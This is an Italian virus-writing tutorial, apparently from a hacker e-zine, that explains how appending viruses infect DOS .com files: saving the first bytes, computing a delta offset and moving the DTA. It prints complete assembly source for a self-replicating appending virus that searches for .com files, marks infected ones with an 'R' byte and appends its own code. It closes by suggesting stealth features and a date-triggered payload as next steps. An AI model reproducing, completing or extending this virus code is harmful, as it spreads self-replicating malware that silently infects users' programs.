L'infezione di files .com
Un semplice overwriting virus l'abbiamo già conosciuto nella zine scorsa.Come avrete notato il principio di un tale virus e molto semplice, le sue possibili azioni sono assai limitate e non è neanche difficile a programmarne uno.Lo scopo di un overwriting virus è, intenzionato o no, la distruzione di dati.La cosa importante da capire quando si sta iniziando ed imparando è di non fermarsi restando a questo livello di virus, visto che il principio di ogni virus è quello di sopravvivere il più lungo possibile.Ciò significa che è indispensabile avanzare di livello.Dobbiamo cercare di nascondere il nostro virus in quanto sia possibile farlo con la nostra conoscienza dell'assembly.Per ora non tratterò nessuna tattica di stealth oppure simile, ma ci dedichiamo a quello che viene dopo l'overwriting virus, l'appending virus.Una volta che l'overwriting avrà scritto il suo codice, l'unica cosa che verrà eseguita è il codice virale, quindi addirittura l'utente lo nota immediatamente. L'appending virus, il principo l'abbiamo già discusso nella prima REN - ZINE, è, paragonato all'overwriting virus, più soffisticato e molto più "intelligente". L'appending virus, lo dice già il nome, si appende al file e cambia solamente qualche byte all'inizio del file, in modo che quando verrà eseguito, prima di tutto il jump farà continuare l'esecuzione alla fine del file, dove si trova il virus, e poi ritorna all'inizio del file, continuando con il file vero e proprio.Così il programma non sarà cancellato ne modificato, quindi l'utente non se ne accorgerà che il file è stato infettato.L'unica cosa che potrebbe notare è che l'esecuzione potrebbe essere un pochino più lenta, visto che prima deve essere eseguito il virus.Poichè il virus si appende, la grandezza del file aumenterà, cosa che spesso gli anti-virus sfruttano per controllare i files.Anche per questo comunque ci sono delle soluzioni, che però per ora sarebbere troppo complicate.
Ma che cosa significa tutto ciò per la programmazione in assembly ? Bene, il codice che salva gli attributi, l'ora e simile resta sempre lo stesso, non cambia assolutamente nulla.Però dobbiamo far attenzione a qualche cosettina.Come già detto, il virus modifica qualche byte all'inizio.Spesso si parla di 3 bytes che sono da salvare, e questi 3 bytes corrispondono al jump, cioè il jump che che salta al codice virale alla fine del file occupa 3 bytes.Dopo l'infezione vogliamo che il programma verrà eseguito normalmente, quindi dobbiamo ripristinare i primi 3 bytes, altrimenti il tutto non funzionerà.Ma dobbiamo tener conto anche altri di fattori molto importanti.Quando avremo compilato il nostro file .com, i jumps e le call saranno relativi all'instruction pointer attuale, mentre le variabili veranno salvate usando un indirizzo assoluto.Questo significa che un jump che lo facciamo saltare una certa quantità di bytes in avanti, lo farà in qualunque parte indipendentemente dalla sua posizione.Invece per i nostri dati, se sono stati salvati in un certo posto nella memoria, verrà cercato nella sua posizione originale. Quindi quando vogliamo ridare il controllo al file originale, usando allora indirizzi sbagliati, potrebbe succedere che modifichiamo codice del programma originale, ciò che vogliamo assolutamente evitare.Un'altra cosa importante è il DTA, che sta per Disk Transfer Address.Nel DTA sono contenuti maggiormente dati che riguardano l'I/O, ma la cosa da capire è che si trova all'indirizzo identico del PSP (Program Segment Prefix) dove sono salvati i parametri della riga di comando.Se continuiamo a programmare senza pensare al DTA, anche facendo una semplicissma operazione, i dati della riga di comando verrano persi.L'unica soluzione è quella di spostare il DTA, e infine ripristinarlo di nuovo quando ritorniamo al programma originale.
Ora vediamo cosa ciò significa per la nostra programmazione.Iniziamo con il codice per salvare i primi 3 bytes
mov ah,3fh ; funzione 3fh legge dal file
mov cx,3 ; la quantità di bytes da leggere
mov dx, Primi3_bytes ; ecco che li salviamo in dx
int 21h ; esegue ciò
Per ritornare al programma originale basta un semplice
mov di,100h ; l'offset d'inizio del file com
jmp di ; e quindi ci andiamo
Ecco quanto riguarda il discorso del delta offset:
call delta_offset
delta_offset : pop bp
sub bp,offset delta ; Risolviamo il problema chiamando una subroutine, salvando l'offset del prossimo comando nello stack,sottraendo quindi il vecchio offset dopo la call e salvando il risultato in bp.
Adesso invece esaminiamo il DTA
Offset Funzione Grandezza
0000h Riservato 21 bytes
0015h Attributi- files 1 byte
0016h Ora - files 2 bytes
0018h Data - files 2 bytes
001Ah Grandezza-file 4 bytes
001Eh Nome del file 13 bytes
Come vedete sarebbe fatale non spostare il DTA cancellando questi dati molto importanti.L'indirizzo del DTA è l'offset 80h e lo si può salvare usando la funzione 1Ah dell'interrupt 21h.
lea dx,[fine+bp ] ; spostiamo il DTA alla fine del nostro virus
mov ah,1ah ; la funzione che rende possibile farlo
int 21h ; lo eseguiamo
Quello che segue è un semplicissimo esempio di un appending virus che,pur nella sua semplicità, almeno non distrugge il file originale, così che l'utente non se ne renderà conto dell'infezione quando eseguirà un file .com
.model tiny ; il modello usato (un solo segmento)
.code ; ecco che diamo l'ordine di creare un code segment
radix 16 ; con quest'opzione possiamo lasciar via le "h" per i numeri esadecimali
org 100 ; l'inizio del com file
inizio : jmp continua ; l'abbiamo spiegato il perchè del jump
db "R" ; questo sarà il nostro byte d'identificazione che troveremo in ogni file infettato dal nostro virus
int 20 ; ed usciamo
continua: call delta_offset ; quindi il discorso del delta offset
delta_offset: pop bp
sub bp,offset delta_offset ; ora sapiamo cosa significa tutto ciò
salva_bytes: lea si,[offset bytes_originali+bp ] ; ora inizia il codice per salvare i bytes
mov di,0100 ; ovviamente all'inizio, cioè l'offset 0100h
movsw ; mov string (word)
movsw
push cs ; salviamo cs
pop ds ; e lo ripristiniamo in ds
lea dx, [indirizzo_dta+bp] ; ora spostiamo il DTA alla fine del virus
mov ah,1a ; la funzione che permette ciò
int 21 ; ecco fatto
mov byte ptr [num_infezioni+bp],0 ; azzeriamo il contatore delle infezioni
mov ah,4e ; trova il primo file
lea dx, [offset tipo_file+bp] ; che corrisponde a tipo_file,quindi un file .com
controlla : cmp byte ptr [num_infezioni+bp],X; qui dobbiamo inserire quanti files vogliamo infettare ad ogni esecuzione
je ripristina_dta ; se abbiamo finito possiamo iniziare la fase di uscita ripristinando per prima cosa il DTA
int 21
jc ripristina_dta; se non ce ne sono files vai direttamente a ripristinare il DTA
call apri ; altrimenti continuiamo ad aprire il file
prossimo_file: mov ah,4f ; trova il prossimo file
jmp controlla ; ed la stessa cosa continua da capo
ripristina_dta: mov ah,1a ; la famosa funzione che ci permette di settare il DTA
mov dx,80 ; come sappiamo il DTA si trova all'offset 80h
int 21 ; e lo eseguiamo
mov di,0100 ; ed ora il codice che restituisce il controllo al programma originale
push di
ret
apri: lea dx, [indirizzo_dta+1e+bp] ; usiamo pure direttamene indirizzo_dta, che essendo un label alla posizione giusta (fine del virus) può essere ancora utile
mov ax,3d02 ; funzione per aprire il file
int 21 ; lo facciamo
jnc infetta ; se va tutto bene andiamo ad infettarlo
ret ; altrimenti ritorniamo indietro
infetta: xchg bx,ax ; carichiamo il nome del file in bx
mov cx,0004 ; quantità di bytes da leggere
mov ah,3f ; funzione dell'interrupt 21h per leggere dal file
lea dx,[bytes_originali+bp]
int 21 ; la eseguiamo
cmp byte ptr [bytes_originali+3+bp],"R" ; controlla se il quarto byte corrisponde ad una "R", quindi se il file è già stato infettato
jz chiudi ; se fosse così possiamo andarcene
mov ax,4202 ; setta la posizione del file (alla fine)
xor cx,cx ; azzeriamo cx
xor dx,dx
int 21 ; fatto
mov ax,4000 ; scriverà i nostri dati
mov cx,0004 ; quantità di bytes da scrivere
lea dx,[bytes_jump+bp] ; carichiamo i bytes necessari per il jump
int 21 ; e con questo abbiamo inserito il jump verso il codice virale all'inizio del file originale
inc byte ptr [num_infezioni+bp] ; incrementa il contatore delle infezioni visto che questo corrisponde ad un infezione riuscita
mov ax,4202 ; ci ritroviamo alla fine del file
xor cx,cx
xor dx,dx ; azzeriamo i registri
int 21
mov ah,40 ; funzione 40h che scrive sul file
mov cx,(indirizzo_dta - continua) ; la quantità da scrivere nel file, quindi il virus
lea dx, [continua+bp]; l'inizio
int 21 ; il codice quindi viene eseguito
chiudi: mov ah,3e ; funzione 3e che chiude il file
int 21 ; chiude il file
ret
bytes_originali: db 00,00,00,00 ; qui verrano salvati i 4 bytes
bytes_jump : db 0e9,03,00,"R" ; ecco il jump in valori esadecimali
num_infezioni : db 0 ; per il contatore delle infezioni
tipo_file: db "*.co*",0 ; il tipo di file da infettare, quindi i files .com
indirizzo_dta label ; viene usato solamente come punto di riferimento
end inizio ; la fine del nostro virus
Come già detto,questo è un esempio molto semplice.Comunque credo che si possano imparare le cose più importanti.Per essere un virus che potrebbe sopravvivere nel mondo DOS un pochino più a lungo ci mancano parecchie cose. Per esempio il virus non controlla nemmeno se si tratta di un file com vero, cioè non controlla se è presente la signature MZ del formato exe,oppure non salva e ripristina attributi,data,ora e soprattutto non ha alcune capabilità di stealth, e si noterà subito l'incremento della grandezza dei files.Però ovviamente tutto ciò e anche un sacco di altre cose si possono aggiungere, come anche un payload decente, che si attiva ad una certa data per esempio.Comunque sia, ritengo che questo sia già un buon passa in avanti, paragonato con l'overwriting virus, che non può assolutamente concorrere in nessun caso neanche con il più semplice appending virus.
Indice - VAI